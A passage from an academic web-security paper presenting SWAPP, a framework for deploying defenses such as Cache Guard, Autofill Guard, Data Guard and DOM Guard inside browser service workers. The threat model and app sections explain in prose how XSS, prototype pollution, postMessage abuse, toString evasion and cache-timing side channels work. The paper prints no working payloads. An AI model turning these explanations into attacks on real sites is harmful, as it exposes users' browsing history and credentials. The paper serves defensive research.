activate A service worker is activated
fetch A network request is issued
push Receive a notification
notificationclick A notification is click
notificationclose A notification is closed
sync Network is available
canmakepayment A payment request can be handled
paymentrequest A payment is requested
message Receive a postMessage
messageerror Cannot receive a postMessage

2 Background and Motivation

In this section, we first provide the background on what is a
service worker and how it works inside a website. Then, we
discuss the limitations of existing web defenses. Finally, we
explain why a service worker can become a new playground
for implementing security mechanisms.

2.1 Service Worker
A service worker is a type of web worker and can be registered
from the document context (i.e., the DOM). Essentially, it is
defined as a JavaScript file that must be hosted on the same
origin as the website (but additional files can be imported
from cross origins). Generally, websites will automatically in-
stall a service worker when users visit their home page. Once
installed, a service worker runs in an isolated execution con-
text, thus scripts from the document context cannot directly
access the service worker. Any information between the ser-
vice worker and the DOM is normally exchanged through the
postMessage API.

The service worker has unique capabilities and operates
asynchronously based on events. For instance, it can act as a
proxy, intercepting a network request, which triggers a fetch
event for the service worker to handle. The service worker
can register an event handler using the addEventListener API.
Table 1 shows the list of service worker events according to
the current W3C specification.

2.2 Existing Defenses and Their Limitations
In this work, we categorize defense techniques into three cat-
egories based on how the proposed defenses can be deployed.

Browser-Centric solutions require browser modifications
to implement a defense mechanism. This type of defense is
the most robust as it runs in the lowest level, the browser
code. Bypassing browser-centric defenses usually implies
the attackers can tamper with the browser’s binary, or the

defense’s design has a critical flaw. Once the proposed defense
is acknowledged in the community, it may be put into the web
standard such as in the case of CSP [49].

Nevertheless, the limitation of browser-centric defenses is
that there is a significant time lag before a proposed solution
becomes official, and until then, it is difficult for the prototype
to be widely deployed. For instance, autofilling hidden fields
in websites was first reported to Chromium as early as January
13th, 2015 [3] with a proof of concept attack shown two years
later [2]. Since then, Chrome has constantly improved its
autofill security such as disabling autofill insecure forms in
Chrome 87 (October 2020) or showing explicit prompts when
autofilling an address in Chrome 95 (October 2021). It could
take years before a security feature is developed, tested, and
deployed. Considering that the web is fast progressive, new
attacks may already evolve into a different variant that is more
resistant to the proposed solution. Even when a new feature
has been supported, not all users will use the latest version of
their browsers, which further delays the deployment of these
features. Therefore, although browser-centric defenses are
robust, they are too rigid for the current web development.
Our proposed framework will allow developers to deploy new
prototypes without being officially integrated into the web
standard to keep up with new attacks.

User-Centric solutions usually take the form of browser
extensions that users can manually install to provide protec-
tion. For instance, Schwarz et al. proposed JSZero [43] to help
prevent micro-architectural side-channel attacks. A more pop-
ular example of a user-centric solution is AdBlocker, which
can prevent unwanted advertisements. Such user-centric de-
fenses are usually easier to deploy than browser-centric so-
lutions, i.e., installing an AdBlock extension only takes a
few clicks. However, it is unclear whether the prototype, de-
veloped as a browser extension, will be widely deployed by
users. For instance, even Adblocker, one of the most common
browser extensions, is reportedly installed in less than 50%
of clients [1]. There is at least another half of the population
that is not used to (or decide not to) utilizing browser exten-
sions. This may also apply to any other user-centric defenses
in general.

Additionally, users are known to be the Achilles heels in
security. As reported by Akhawe et al. [24], users may even
ignore security warnings such as the SSL error. Therefore,
web developers should only treat user-centric solutions as
optional when considering the security of web users. Because
our framework is automatically installed by default along with
the service worker, it is more controllable by web developers
and reachable to the user clients because more than 95% of
running browsers support service workers [16].

Server-Centric solutions are deployed by web developers
at the back-end server, as a proxy, or as parts of the websites.
Depending on where a server-centric defense is deployed,
there can be limitations. For solutions that run in the server
like network firewall [17, 32], they lack the context of the
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client at run-time, hence they may not detect an attack that oc-
curs exclusively on the client. Solutions that are deployed as a
proxy also require additional infrastructures, which can incur
additional cost and complexity [27, 54]. On the other hand,
client-side defenses that run in the document context such as
XSS filters [14,22] share the execution context with attackers.
This put them at risk of getting bypassed or manipulated at
run-time [37]. Therefore, they are alternatives proposed in the
form of defensive JS [25]. Nonetheless, defensive JS solutions
may require major changes to the legacy code. Our proposed
solution, on the other hand, does not require many changes to
the legacy code as we later show in Section 6.2.

2.3 A New Playground: SW-Centric Defense
In this work, we propose a different type of server-centric
defense that runs in a service worker, which we call SW-
centric defense for simplicity. Based on the limitations of
existing defenses and our goals (G1-G3), there are three key
reasons why we implement our platform in the service worker.

• Adoptability. Corresponding to the first goal (G1), SW-
centric defenses are easy to deploy and update because a
service worker is automatically installed/updated by web
browsers. Users do not have to make an extra effort to be
protected compared to defenses deployed as a browser
extension. Nonetheless, there are certain requirements
that the clients and servers have to meet in order to utilize
our platform. We evaluate the adoptability in Section 6.1.

• Compatibility. For our second goal (G2), the service
worker runs in a different context than the main page,
thus it minimally affects legacy code in the document
context. Additionally, the service worker runs in an event-
based manner in which a library may occupy an event
handler. If the library utilizes a different set of events
than what our platform requires (i.e., the fetch event),
it will be compatible. In the case that the legacy code
utilizes the same event handler, our proposed platform
can encapsulate them as an app to run alongside other
apps as we will discuss in Section 6.2.

• Locality. Regarding our third goal (G3), SW-centric de-
fenses are deployed at an advantageous location, without
requiring additional infrastructures. The service worker
context provides rich capabilities especially allowing
apps to act as a proxy for the website. With our pro-
vided interfaces for the proposed platform, developers
can quickly implement, adopt, or update new prototypes.
We evaluate the extensibility and programmability of our
platform in Section 6.3.

In order to achieve the three goals, we have to carefully
address several challenges while designing our platform. This
is because the service worker environment is not initially

designed to support multiple apps utilizing the same event
handler. We provide details regarding these challenges in
Section 4.1.

3 Threat Model

In this work, we regard the service worker context as our root
of trust. Therefore, all scripts included as parts of the service
worker and SWAPP apps are benign. We assume the presence
of XSS attackers who may utilize the communication chan-
nels from the document context to compromise our root of
trust, e.g., attacks discussed by our early work [28, 29] and
Steffens et al. [50]. This includes overriding native JS APIs
to execute malicious code inside the protected scopes in the
document context, i.e., prototype pollution attack. We also
assume side-channel attackers who trick a user into visiting
their websites, in which they insert iFrames pointing to the
target websites to measure the page load timing and infer
the user browsing history [33]. Further detail on this type of
attacker will be discussed in Section 5.1.

Because service workers can only partially resist MITM
attackers (e.g., browsers will never replace or update service
workers when there is an SSL error despite the user clicking
through the error to visit the web page), we do not assume
attackers are able to obtain a legitimate certificate. This protec-
tion makes service workers resistant to the evil twin attackers
with a self-signed certificate. Nonetheless, it is still vulnera-
ble to capable MITM attackers who have a legitimate certifi-
cate (e.g., a compromised cloud edge serving first-party web
content or a compromised first-party server). Such capable
attackers will bypass any defenses with the same assumptions
as SWAPP, which implements purely in JavaScript without
browser modifications, browser extensions, or an additional
proxy.

Furthermore, we assume SWAPP has been installed in the
victim’s browser prior to an attack. This is a reasonable as-
sumption in all modern browsers because service workers
are automatically installed on the first normal visit. If the
victim visits the website exclusively in incognito mode (or
other equivalences) before and during an attack, then SWAPP
will not be activated because the incognito mode disables
several features including the service worker. Additionally,
changing the browser profile, device, or clearing the website
data will remove the service worker, thus SWAPP will need
to be reinstalled prior to an attack.

Note that we design SWAPP to be deployed by first-party
developers. Most of our developed apps only need to ac-
cess first-party scripts and exclude third-party content. This
is because when an app needs to intercept cross-origin re-
quests, there may be complications regarding the Cross-
Origin-Resource-Sharing (CORS) protocol. We further dis-
cuss the limitation of SWAPP (and its apps) with CORS mode
in Section 7.
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Lastly, attackers in the forms of malicious browser exten-
sions (or malware that can control web browsers) installed in
the clients can remove any installed service worker, thus they
are beyond the scope of our protection. This assumption holds
true for any defenses implemented purely in JavaScript.

4 SWAPP System Design

In this section, we present our framework, SWAPP. First,
we discuss three technical challenges for SWAPP. Then, we
illustrate and elaborate on our design of SWAPP in response
to the challenges. Finally, we show the development interfaces
provided to developers and go through the overall workflow
of our system.

4.1 Technical Challenges
4.1.1 TC1: Homogeneous SW Environment

The service worker context is designed to mostly work ho-
mogeneously. Based on the W3C specification of the service
worker, most crucial service worker events (i.e., fetch) can
only be managed by a single handler, unlike the document
context events such as postMessage, which allows multiple
handlers. Because the fetch event can be crucial to a variety
of apps, this design may prevent multiple apps from shar-
ing the handler. For example, an XSS defense may want to
perform ingress filtering to detect an XSS payload, while a
CSRF defense may need egress filtering to check the HTTP
referer header. The fetch event allows network interception to
perform both ingress and egress filtering. However, the prob-
lem arises when the XSS and CSRF defenses are developed
independently by different groups of developers. This can
cause conflicts, and only one defense may be allowed to run
as the fetch event handler.

As a first step toward providing a unified platform for the
service worker environment, the design of SWAPP must first
accommodate and promote heterogeneity. To this end, we in-
troduce a new event queue for the fetch, activate, and message
event handlers. A Supervisor is assigned for each event to
keep track of which app gets to execute and in which order
(more details will be discussed in Section 4.2.1).

4.1.2 TC2: Limitation of Original SW Events/APIs

While the initial service worker events provide unique capa-
bilities that do not exist in the document context, they are still
rather limited in the granularity to enable the development of
security applications that are rich in diversity. For instance,
the fetch event is dispatched during a network request, but the
network response is treated as the byproduct of the request
instead of having a dedicated event separately. To this end,
SWAPP utilizes the Supervisor to provide a custom event for
apps to handle. The custom event system can improve the
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granularity of the original events especially by decoupling
the request-response pairing from the fetch event into a re-
quest event and a response event (further discussed in Section
4.2.2).

4.1.3 TC3: SWAPP Security Against Attackers

Because SWAPP is designed to act as a centralized con-
troller to protect the website, it is unavoidable that SWAPP
itself will be subjected to web attacks. For instance, our
prior studies [28, 29] have discussed attacks against service
workers using the APIs that can propagate information from
the document context to the service worker such as service-
Worker.register and IndexedDB. Son et al. [47] also dis-
cussed an attack using the postMessage API, which Steffens
et al. [51] later highlighted the prevalence of this attack in
a large scale. While the attack originally targets iFrames, it
is also applicable to service workers. Because there are no
built-in capabilities to reinforce security or accommodate web
developers to utilize these APIs securely, we have to enhance
the security of all channels and APIs that can reach the service
worker. We further discuss how we reinforce SWAPP against
these attack vectors in Section 4.3.

4.2 Overall Design
The components of SWAPP reside in both the service worker
and document context. There are four key components
that make up SWAPP: Supervisor, Custom Event Manager,
Trusted Code Block, and Message Manager.

4.2.1 Supervisor

The Supervisor resides in the service worker context. It is
deployed within an event listener. The main purpose of the Su-
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pervisor is to provide a heterogeneous execution environment
inside the service worker (TC1). In our current implemen-
tation, we have put the Supervisor in three events: activate,
message, and fetch. While we do not deploy the Supervisor
in all events, these three events are sufficient to implement
several apps as we later discuss in Section 5. This method
can also be extended to support other events such as push or
future events that are not yet released.

The Supervisor acts like a mediator between an originally
dispatched event and apps. When it receives an original event
(e.g., fetch) from the browser, it creates an event queue for
SWAPP apps to handle. We call events distributed from the
queue to apps as subevents. Each app can register a subevent
handler through the Supervisor, which will manage the exe-
cution order between apps and combine the execution results
before making the final decision regarding the original event.

There are mainly two types of subevents for apps to handle.

• The match subevent tells the apps about the information
of the original event. For example, if the original event
is a fetch event, the information will include the HTTP
headers and body of a request. Note that the available
HTTP headers are still limited by the list of Forbidden
header [9]. The handler of this event should tell SWAPP
whether the app is interested in manipulating the event
by returning a Boolean value.

• The action subevent is dispatched for apps interested
in the original event after the Supervisor receives the
answer from the match event. In general, the handler
of the action event will have access to the final object,
fObject, which is passed as a parameter that must be
returned to be fed to the next handler as a parameter. The
fObject contains a clean copy of the original event and a
dirty version, which other apps may have modified.

For the Supervisor to manage the execution order of each
app and to decide what to do with an event, an app can be
assigned two parameters: execution order value (eOrder) and
decision priority level (pLevel). A lower eOrder implies the
app is ahead in the line and will execute earlier. A higher
pLevel implies the app has a higher priority and can override
the decision. If these parameters are not specified, the Super-
visor will follow the app’s installation order (i.e., the first app
installed executes first and has the highest decision priority).

Furthermore, the possible values for a decision will be
based on the original event. For instance, the decision of a
fetch event can be original (proceed with the original), dirty
(proceed with the modified version), cache (respond with
specified cached content), or drop. The activate event cannot
specify a decision as they are mainly provided for apps to
initialize their variables when the service worker is activated.
For the message event, we wrap it in an additional layer to
provide enhanced security (further discuss in Section 4.2.4).

4.2.2 Custom Event Manager

The Custom Event Manager is closely tied to the Supervi-
sor and can be considered as an extension of the Supervisor.
Its main purposes are to define custom events, manage the
transition between each custom event loop/queue (CL), and
mediate between the Supervisor and apps. These are to pro-
vide more granularity to the original service worker events
(TC2). Currently, we implement the Custom Event Manager
only for the fetch event, but this concept can be extended to
other events as needed.

Primarily, we use the Custom Event Manager to decouple
the fetch event into the request and response custom events.
Specifically, the Custom Event Manager divides the original
fetch event into two stages. The first stage is similar to the
original fetch event, which is triggered upon receiving a net-
work request. However, unlike the original, this event ends
when a decision regarding the request is made, not when a re-
sponse is specified. The second stage starts immediately after
the first stage if the decision of the request custom event is
not to drop. Apps will then be notified to modify the response
accordingly.

4.2.3 TCB Environment

The Trusted Code Block (TCB) Environment is injected into
every web page by the Supervisor inside the fetch event lis-
tener. It is essentially located in the document context to
provide a secure environment for apps that need to execute a
piece of code in the document context. By design, the service
worker cannot directly execute code in the document context.
This leads to both advantages and disadvantages when consid-
ering implementing a defense. The advantage is that attackers,
in the form of malicious scripts injected into the main web
page, cannot directly access the service worker. However, the
opposite is also applied that the service worker may not be
able to enforce certain restrictions to the malicious script be-
fore the malicious operation is already in-flight to the fetch
event. Several proposed defenses and techniques [43] rely on
having trusted code running in the document context.

Similar to how the Supervisor operates, SWAPP allows
app to listen to the TCB’s match and action subevents. When
SWAPP attempts to inject the TCB environment to a web
page, the match event is dispatched. The handler will receive
the web page information (e.g., the URL, HTTP headers, and
the response body) and can decide whether the app wants to
inject any code along with the TCB environment. The code
will then be invoked when the TCB environment has finished
initializing. We further elaborate on how the TCB provides a
secure environment in Section 4.3.1.

4.2.4 Message Manager

The Message Manager runs both inside the message event
listener in the service worker and inside the TCB. It provides
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a secure communication channel between the service worker
and document context within SWAPP (more details of its
security are discussed in Section 4.3.2). For an app to send a
message, it can call our internal API, broadcastMsg, which
will send a message to a dedicated message port. This API
accepts two parameters: the message content and the list of
tags. The tags can be used to identify which apps are the
intended recipients. An app can register a tag list along with
a handler with the Message Manager. When the Message
Manager receives a message, it will notify all apps that have
a matching tag and invoke the registered handler.

4.3 SWAPP Security Analysis and Design

SWAPP itself can be the target of attackers (TC3). Here we
elaborate on how we enhance SWAPP against threats from
different attack vectors. Primarily, there are three channels
that attackers in our threat model can leverage against SWAPP:
document context, postMessage, and IndexedDB.

4.3.1 Security of Document Context

Our threat model assumes that attackers can execute malicious
code in the document context. This allows attackers to target
the TCB directly. To this end, SWAPP puts the TCB inside
a Closure and freezes sensitive JS objects used by the core
of SWAPP similar to the method discussed by Schwarz et
al. [43]. Nonetheless, apps may evoke JS APIs that are not
originally frozen inside the TCB, and attackers can manipulate
these objects [45]. For instance, if a SWAPP app registers a
mouse click event listener that will call console.log to print
out some information, attackers can override the log function
to perform malicious tasks such as sending internal SWAPP
messages to manipulate the service worker. Because the TCB
is an anchor for SWAPP in the document context, we need to
ensure that the TCB will not be compromised.

The security of TCB can be considered in two cases. The
first case is the initial execution of the TCB. In this case,
attackers cannot launch an attack nor modify any code. This
is because the scripts in the document context will execute
sequentially. SWAPP can intercept a web page and insert the
initialization script at the topmost of the header (if available)
or body to ensure the TCB is established before other code
runs. Therefore, any attacks in this phase are not a threat.

The second case is after the initial execution of the TCB.
In this case, SWAPP does not know in advance what APIs the
apps will use that need to be frozen. Furthermore, SWAPP
cannot preemptively freeze all JS objects due to possible con-
flicts with existing libraries. Instead, SWAPP has to identify
when there is a code tampering with an object executing in-
side the TCB. A way to check the integrity of a callable object
is to inspect its definition through the toString function. A
native object would return "[Native code]" upon inspecting,
while a modified object would return the code that redefines

it. However, there are many evasion techniques that can trick
the toString function to return "[Native code]".

To avoid the cat and mouse game with the attackers in
the document context entirely, our solution is to pass the
target object to a fresh iFrame before calling the toString
function. With this method, the malicious code that tries to
trick the toString function (including its prototype chain) will
not apply to the iFrame context. This is because the evasion
techniques will tamper with a certain point in a prototype
chain. By sending the object to a fresh iFrame, the object can
be executed without the attacker’s manipulation.

We provide a helper function, checkIntegrity, to help verify
the integrity of the list of given objects. This function will
create a fresh iFrame, go through the list of native API calls
that the app wants to use, pass each API reference to the
iFrame, obtain the object definition, and return the value to the
original context. The returned value will then be hashed for
future comparisons. Because the iFrame is newly created and
destroyed after each use (and the API to manipulate iFrames
will be frozen), attackers will not be able to affect the iFrame.

Now that we obtain the hashed API definition, we can
check if it is malicious. The list of APIs to be checked is
given by the app developers. They can inspect their own code
and give SWAPP the list of hashed benign API definitions
when installing the app. When an unmatched is found for an
API definition, we know that an unexpected (and potentially
malicious) code overrides the API and we alert the app to pre-
vent the code from executing. In this way, we can protect the
TCB while minimizing the effect on other legitimate libraries.

Because the service worker (un)registration APIs are also
accessible in the document context, we must also prevent at-
tackers from removing the service worker, which contains
SWAPP’s core functionalities. To this end, SWAPP disables
the register (and unregister) API entirely. If the website wants
to legitimately execute the register API, then it can send
the Clear-Site-Data HTTP header to remove SWAPP. Once
SWAPP is removed, the APIs will not be overridden, and the
website can invoke the register API again.

We test these enhancements by launching prototype pollu-
tion attacks with multiple bypassing techniques in our exam-
ple website. We find that with a correct list of sensitive APIs
defined, malicious code cannot be executed inside the TCB.

4.3.2 Security of postMessage

Existing works discussed the Postman attack [47], which uti-
lizes the postMessage (PM) to attack a different context such
as iFrames, and its prevalence [51]. The results show that
websites often neglect or perform inadequate origin checks
regarding the message sender, leading to code execution in-
side the targeted context. This type of attacker is especially
potent in our threat model where the service worker is treated
as the root of trust. Therefore, SWAPP’s Message Manager
must provide a mechanism to prevent such attacks by default.
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To mitigate against this type of attacker, we enhance and
extend the original PM APIs. In the service worker, multi-
ple PM (also referred to as message event) handlers can be
registered. We register an instance of the handler and de-
ploy a Message Manager inside the service worker (SW-PM).
Correspondingly, the document context also has a Message
Manager deployed (DOC-PM) in the TCB. The message op-
erations within SWAPP are accessed through SWAPP’s dedi-
cated APIs as shown in Table 2.

Intuitively, we provide security in SWAPP’s internal mes-
saging system by limiting the sources of messages from the
document context. When the DOC-PM is instantiated inside
the TCB, it will also use the MessageChannel API to create
communication ports. Then, it will send the port informa-
tion to the SW-PM, who will keep the port information for
records. Further communication will be made using this port.
The SW-PM will reject messages from unauthorized message
channels. As discussed in Section 4.3.1, the ports cannot be
accessed by attackers outside the TCB. With these enhance-
ments, we mostly limit the sender origins of postMessage
communications to only within SWAPP.

To test these enhancements, we try to launch the Postman
attack (in a local environment) by sending post messages to
the service worker. We find that without the apps leaking
the dedicated port or other libraries running inside the ser-
vice worker being vulnerable, attackers will not be able to
successfully contact the service worker.

4.3.3 Security of IndexedDB

Our previous work [29] shows that despite service workers
executing in an isolated context, they can still be compromised
through the IndexedDB. Considering SWAPP apps run inside
the service worker, which only has access to IndexedDB as a
storage space, it is especially crucial to enhance the security of
IndexedDB. This is because apps may need to store sensitive
statistics, state information, or configurations locally.

In order to prevent attackers from utilizing the IndexedDB,
SWAPP provides an isolated storage space dedicated to the
SW context (SW_DB) and to SWAPP (SWAPP_DB). SWAPP
overrides the IndexedDB APIs when initializing the TCB such
that these two database names are restricted. SWAPP_DB is
used internally as parts of SWAPP, and other scripts outside
of the TCB will not be able to access it. The SW_DB is used
specifically in the SW context, and even the TCB will not
have access to it.

We try to launch an attack against SWAPP with these en-
hancements by attempting to access the private IndexedDB.
We find that without apps (un)intentionally leaking the In-
dexedDB’s transaction that opens the private database, attack-
ers will not be able to access the secure storage.

Table 2: A List of Example SWAPP Interfaces.

Category Interface Description

Network
Manipulation

reqMatch Check if a request matches interception criteria
reqAction Perform the modification to a request
reqPriority Specify the priority level of the app to a request
reqOrder Specify the execution order of the app to a request
respMatch Check if a response matches interception criteria
respAction Perform the modification to a response
respPriority Specify the priority level of the app to a response
respOrder Specify the execution order of the app to a response
setDecision Set the decision for a request/response
get/setMeta Get/Set the metadata of a request/response
get/setBody Get/Set the body of a request/response

Document
Context Access

tcbMatch Check if a web page matches injection criteria
tcbAction Perform the modification to the document context
tcbOrder Specify the execution order of the app in the TCB

Secure
Communication

msgLabel Specify message labels of the app’s interest
msgHandler Specify a message handler
broadcastMsg Send a message to all apps

Secure Storage
Management

get Get stored data from secure database
set Save data to secure database
delete Delete data from secure database
createTable Create a new table in secure database
removeTable Remove a table in secure database

4.4 SWAPP Usage and Interface

Considering that both attacks and defenses are evolving, it
could be almost impossible to implement a solution that
can satisfy all types of defenses out-of-the-box. Therefore,
SWAPP aims to provide a framework that abstracts generic
security primitives and enables the extensibility for devel-
opers. Currently, the core of SWAPP provides four types of
primitives2 (with corresponding interfaces shown in Table 2).

• Network Manipulation enables apps to inspect and mod-
ify any network requests and responses in-flight. Such
capability can be leveraged by many types of defenses,
i.e., XSS filter [21, 30], CSRF detection [6], or proxy-
based mechanisms [44, 54].

• Document Context Access allows apps to execute code
securely in the document context. This is crucial to de-
fenses that require code instrumentation to enforce secu-
rity policy at run time in the document context [43].

• Secure Communication provides a secure channel for the
communication between the service worker context and
the document context. As SWAPP spans in both contexts,
an app may have parts of its logic located in different
contexts or want to communicate with another app. This
primitive helps alleviate these tasks for developers.

• Secure Storage Management ensures that data stored by
apps will not be tampered with by unauthorized scripts
from the document context. The only existing reliable
storage provided to service workers is the IndexedDB,
which is also shared with the document context (and can
even be utilized for an XSS attack [50]). Thus, our new
primitives can help restrict such unauthorized access and
ensure attackers will not be able to manipulate app data.

2Primitives and associated interfaces could be extended in future.
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High-level functionalities can then be provided or devel-
oped based on these primitives. We demonstrate how these
primitives can be combined to construct a security app in
Section 5.

5 SWAPP App Examples

In this section, we present four example apps to show how
security apps can be constructed using SWAPP interfaces.

5.1 Cache Guard

if(fObj.getDecision() == "cache")
return true;

CG.startTimer(fObj);

reqMatch (fObj)

let ref = fObj.getMetadata().referer;
let refHost = (new URL(ref)).host;
if(!allowedList.includes(refHost))
fObj.setDecision("deny")

if(CG.isDummy(fObj))
delay(CG.avgLoad);

reqApply (fObj)

CG.initialize();

onswactivate

let needDummy = false;

if(fObj.getDecision() != "cache")
CG.stopTimer(fObj);
CG.updateAvgLoad();

if(isWebPage(fObj)) {
needDummy = true;
CG.lastWebPageVisited.startTimer();

} else {
if(CG.lastWebPageVisited.elapsed() < tthresh) {

if(!CG.isValidLoad(fObj)) {
delay(CG.avgLoad);
CG.updateProfile(fObj);
CG.save();

}
} else {

delay(CG.avgLoad);
}

}

return needDummy;

respMatch (fObj)

CG.addDummy(fObj);

respApply (fObj)

Figure 2: Workflow of Cache Guard. The coloring represents
the usage of different groups of SWAPP interfaces (either
as a direct invocation or a function containing the interface).
Green represents a secure storage management interface. Blue
represents the network manipulation interface. For instance,
CG.initialize utilizes our secure storage to load settings and
previous statistics thus is labeled in green.

Karami et al. have recently discussed privacy-invasive at-
tacks on websites utilizing service workers for caching [33].
The attackers lure victims into visiting their website, where
the target web pages (or resources) will be loaded in iFrames,
and the load times are measured to determine whether they are
served through cache. If certain resources are served through
cache, the attackers can infer that the victims have visited
privacy-sensitive pages before. This includes inferring the
victim’s WhatsApp social graph. Such side-channel attacks
(determining cached content to infer the victim’s browsing
history) are common threats for websites that want to utilize
a service worker (or cache in particular) [36]. Note that this
attack can work even when the X-Frame-Options or CSP is
specified on certain browsers such as Firefox. This is because
even when the browser does not show the iFrame content, the
load time can still be measured.

To mitigate against this type of attack, Karami et al. im-
plemented a helper tool for developers, in which the tool will

instrument the fetch handler to check the referer HTTP header.
If the header is not specified in the allowed list, the request will
be dropped. However, this cannot prevent an attack where the
website supports open redirection because the attackers can
essentially forge the referer using the same-origin redirection
page. To illustrate that SWAPP can be used by researchers as
a platform to develop new defense mechanisms, we develop
Cache Guard using SWAPP in response to this attack with
two goals in mind. First, Cache Guard should be easily imple-
mented and distributed by researchers and deployed by web
developers. Second, Cache Guard should further prevent the
attacks even when the website supports open redirection.

In addition to Karami’s proposed defense (checking the
referer header), which we implement using SWAPP in a few
lines of code, we further improve Cache Guard to additionally
protect when the website has open redirection. The final ver-
sion is implemented in 258 LoC, and the overview is shown
in Figure 2. The intuition behind this improvement is to delay
the cached response to make it looks like it is loaded over
the network when necessary. Because the cache is introduced
to reduce load time and provide the offline capability, Cache
Guard cannot simply delay all cached responses. As a result,
we consider two scenarios for delaying cached responses.

First, if the resource being loaded is a web page, Cache
Guard will attach a dummy resource request using the
respAction event (the custom subevent for a response action).
By using the reqAction event (the custom subevent for a re-
quest action), the dummy will be delayed to make the page
load time similar to network loading. Cache Guard keeps the
load time of prior resources to calculate the average network
delay over time. The timer starts in the reqMatch (request
match) event and stops in the respMatch (response match)
event. In this way, users will not experience the delay and at-
tackers cannot accurately determine the cache usage because
the page load time is measured when the page has finished
loading all resources in the page.

Second, if the resource being loaded is not a web page (and
not our dummy resource), Cache Guard will delay it unless
there is a prior web page request that Cache Guard knows
will need the resource (i.e., legitimate resource requests). The
intuition is that non-page requests mostly originate from a
web page. Therefore, Cache Guard will cumulatively build a
resource loading profile for each web page and check when
there is a non-page request. If it does not match a prior profile,
Cache Guard will delay it first before updating the profile.
These are mostly done in the respMatch event.

Because attackers typically rely on measuring the first re-
source load time by adding random URL parameters, our
approach will nullify this type of attack. We evaluate the ef-
fectiveness of Cache Guard by launching the side-channel
attack discussed by Karami et al. We develop a demonstration
website locally (accessible in our Github directory) and use
Chrome’s DevTools to measure the average resource load
time across multiple runs. We use Chrome’s Fast3G throt-
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tling network profile to emulate the network delay. We find
that with Cache Guard enabled, the first cached resource load
time is within 10% of the average network load time. Further-
more, subsequent access to the resource is still as fast as the
normal cache load time (within 50% of the average network
load time). Therefore, Cache Guard is effective against this
side-channel attack.

5.2 Autofill Guard

Nowadays, websites provide a login mechanism for users,
usually as a form that users can type in manually or be aut-
ofilled by browsers or external tools. The login credentials
are often a target for attackers, who could steal these sensitive
login credentials from a login form that is automatically filled
by browsers or external tools. For instance, Silver et al. [46]
and Stock et al. [52] show that auto-filled forms are vulnera-
ble to MITM and XSS attacks respectively. In this example,
we propose an alternative defense, called Autofill Guard, that
can protect login forms from XSS attackers. Autofill Guard
can work complementary to and in conjunction with other
existing defense mechanisms.

Autofill Guard mainly provides protection through isolation
(by using iFrames). By putting a form inside an iFrame, which
is isolated from the main context, XSS attackers will not be
able to access the form anymore. Furthermore, to prevent
attackers from creating an invisible form (different from the
legitimate one) and tricking password managers to give them
the credentials, Autofill Guard can also override JavaScript
APIs and disallow form creation. The overview of Autofill
Guard is illustrated in Figure 3.

When a user requests a website, Autofill Guard’s Form De-
tector automatically detects a sensitive form and encapsulates
it inside an iFrame. Then, if the form is submitted, Autofill
Guard’s Mediator will forward the request to the webserver to
log in. Upon receiving the response, Autofill Guard’s Notifier
will notify the TCB to reload the main page. These processes
are done automatically, thus there will be no differences from
the user perspective.

We test the effectiveness of Autofill Guard by constructing
a similar attack discussed by Stock et al. [52], where attackers
inject malicious JavaScript code that tries to read the input of
a login form. We perform the mock attack in a local environ-
ment with Chrome 80 to access the mock website. We verify
that Chrome automatically fills in the login form, but the
malicious script we add cannot access the form information.

It is worth noting that there are two limitations in the cur-
rent Autofill Guard version. First, as Autofill Guard is in-
tended to protect against attacks targeting autofill in static
login forms, it has to disable APIs that can create new forms,
which can possibly introduce false positives (i.e., blocking
legitimate form creation).

Second, the JS code that accompanies the forms would
not be able to access the original page’s DOM. In practice,
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web developers could modify Autofill Guard to include the
necessary JS code along with the iFrame, i.e., to validate the
correctness of the filled values or to handle an onclick event.
However, the JS code would not have direct access to the
main page’s DOM due to the isolation provided by Autofill
Guard. The developers could establish a postMessage channel
between the iFrame and the main page, but this would defeat
the purpose of Autofill Guard. This is because Autofill Guard
is developed to isolate the forms from malicious scripts in
the DOM and establishing such communication could expose
the iFrame to the attackers. In any case, if the forms and the
accompanied JS code do not rely on the main page’s DOM,
they would be compatible with Autofill Guard.

Autofill Guard is developed as a proof of concept to demon-
strate how SWAPP can enable new directions and use cases.
Our implementation of Autofill Guard utilizes iFrames and
the service worker to manage extra requests/responses to al-
low the login to work despite the form being submitted in an
iFrame instead of the main context. We hope this method can
spark new ideas to implement more complicated defenses in
the future.

5.3 Data Guard
HTML resources are used in websites for displaying various
content to users. However, due to the complexity of designing
and implementing access control policies, broken access con-
trol vulnerabilities exist in many websites. For resources that
contain privacy (e.g. URL to a private file on the website or
privileged operations [8] [7]), if an access control vulnerabil-
ity exists and attackers are able to steal the URL, the privacy
could be leaked. To protect such data from being compro-
mised, we designed Data Guard to automatically preserve
the data in a service worker and add them back to HTTP re-
quests according to the context. The overview of Data Guard
is illustrated in Figure 4.

Data Guard will first perform static analysis and find all
predefined data types on the web page. Web developers can
also define their customized data extraction strategies to sup-
port other types of data. To enable the customization in Data
Guard, we provide a template for web developers to define
their own data extraction strategies, as shown in Listing 1. For
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each element identified by Data Guard, we will replace the
sensitive data with a unique string, which will be an SHA-256
hash string generated from the element. The original sensi-
tive data and the corresponding unique string will be stored in
secure storage provided by SWAPP as a key-value pair. When-
ever the unique string is detected in any outgoing message,
Data Guard will replace the string with the original sensitive
data. Currently, Data Guard will replace all URLs in the web
page as a proof of concept. Based on our observation, such
practice will not harm the normal workflow of the websites
we have tested.

With Data Guard, attackers will not be able to send valid
requests to the server with the stolen data since it has been
replaced with unique strings that can only be recognized by
SWAPP in the victim’s browser.

1 ...
2 function dg_init(){
3 ...
4 add_undoc_data_type("data_name", extraction_cb);
5 ...
6 }
7
8 function extraction_cb(body , headers){
9 // define the data extraction strategy here

10 }
11 ...

Listing 1: Data Guard Undocumented Data Extension Tem-
plate

5.4 DOM Guard
Cross-site scripting (XSS) attacks have been one of the most
prevalent web attacks. In recent years, an emerging type of
XSS called DOM-XSS is becoming a severe problem. DOM-
XSS is unique to existing XSS in that it occurs mostly at the
client-side, making server-side solutions ineffective. DOM
Guard, however, can utilize existing techniques such as server-
side firewall and apply it to the client-side through SWAPP.

Our implementation of DOM Guard allows a plug-and-play
strategy where different types of techniques can be switched.
Currently, as proof of concepts, we use a filtering technique
as the detection strategy. To detect DOM-XSS payload from

executing on the client-side, DOM Guard will check the URL
segment of every request for potential payload using an HTTP
encoder [12]. DOM Guard will compare the encoded URL
segment with the original segment to determine a potential
attack. Nonetheless, this can be improved by applying other
existing detection techniques in DOM Guard. For example,
Chaudhary et al. proposed a proxy-based technique to validate
network responses [27]. In this case, DOM Guard can act as
the proxy to lessen the requirement of the technique that needs
a physical proxy to be deployed.

We demonstrate the effectiveness of DOM Guard using
an existing XSS payload [23]. We create a website with a
